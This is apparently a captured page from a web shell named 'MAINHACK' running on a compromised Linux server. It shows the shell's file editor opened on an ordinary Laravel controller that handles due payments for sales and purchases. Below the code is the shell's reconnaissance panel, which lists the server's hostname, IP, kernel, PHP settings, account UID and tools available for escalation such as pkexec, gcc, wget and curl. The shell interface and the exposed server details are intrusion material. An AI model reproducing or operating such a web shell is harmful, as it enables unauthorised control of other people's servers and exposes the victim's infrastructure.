[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AcnooDueController.php
<?php namespace App\Http\Controllers\Api; use App\Models\Sale; use App\Models\Party; use App\Models\Business; use App\Models\Purchase; use App\Models\DueCollect; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class AcnooDueController extends Controller { public function index() { $data = DueCollect::with('user:id,name,role', 'party:id,name,email,phone,type', 'payment_type:id,name') ->where('business_id', auth()->user()->business_id) ->latest() ->get(); return response()->json([ 'message' => __('Data fetched successfully.'), 'data' => $data, ]); } public function store(Request $request) { $party = Party::find($request->party_id); $request->validate([ 'payment_type_id' => 'required|exists:payment_types,id', 'paymentDate' => 'required|string', 'payDueAmount' => 'required|numeric', 'party_id' => 'required|exists:parties,id', 'invoiceNumber' => 'nullable|exists:' . ($party->type == 'Supplier' ? 'purchases' : 'sales') . ',invoiceNumber', ]); if ($request->invoiceNumber) { if ($party->type == 'Supplier') { $invoice = Purchase::where('invoiceNumber', $request->invoiceNumber)->where('party_id', $request->party_id)->first(); } else { $invoice = Sale::where('invoiceNumber', $request->invoiceNumber)->where('party_id', $request->party_id)->first(); } if (!isset($invoice)) { return response()->json([ 'message' => 'Invoice Not Found.' ], 404); } if ($invoice->dueAmount < $request->payDueAmount) { return response()->json([ 'message' => 'Invoice due is ' . $invoice->dueAmount . '. You can not pay more then the invoice due amount.' ], 400); } } if (!$request->invoiceNumber) { if ($party->type == 'Supplier') { $all_invoice_due = Purchase::where('party_id', $request->party_id)->sum('dueAmount'); } else { $all_invoice_due = Sale::where('party_id', $request->party_id)->sum('dueAmount'); } if (($all_invoice_due + $request->payDueAmount) > $party->due) { return response()->json([ 'message' => __('You can pay only '. $party->due - $all_invoice_due .', without selecting an invoice.') ], 400); } } $data = DueCollect::create($request->all() + [ 'user_id' => auth()->id(), 'business_id' => auth()->user()->business_id, 'sale_id' => $party->type != 'Supplier' && isset($invoice) ? $invoice->id : NULL, 'purchase_id' => $party->type == 'Supplier' && isset($invoice) ? $invoice->id : NULL, 'totalDue' => isset($invoice) ? $invoice->dueAmount : $party->due, 'dueAmountAfterPay' => isset($invoice) ? ($invoice->dueAmount - $request->payDueAmount) : ($party->due - $request->payDueAmount), ]); if (isset($invoice)) { $invoice->update([ 'dueAmount' => $invoice->dueAmount - $request->payDueAmount ]); } $business = Business::findOrFail(auth()->user()->business_id); $business_name = $business->companyName; $business->update([ 'remainingShopBalance' => $party->type == 'Supplier' ? ($business->remainingShopBalance - $request->payDueAmount) : ($business->remainingShopBalance + $request->payDueAmount) ]); $party->update([ 'due' => $party->due - $request->payDueAmount ]); if (env('MESSAGE_ENABLED')) { sendMessage($party->phone, dueCollectMessage($data, $party, $business_name, $request->invoiceNumber)); } return response()->json([ 'message' => __('Data fetched successfully.'), 'data' => $data->load('user:id,name,role', 'party:id,name,email,phone,type','payment_type:id,name'), ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002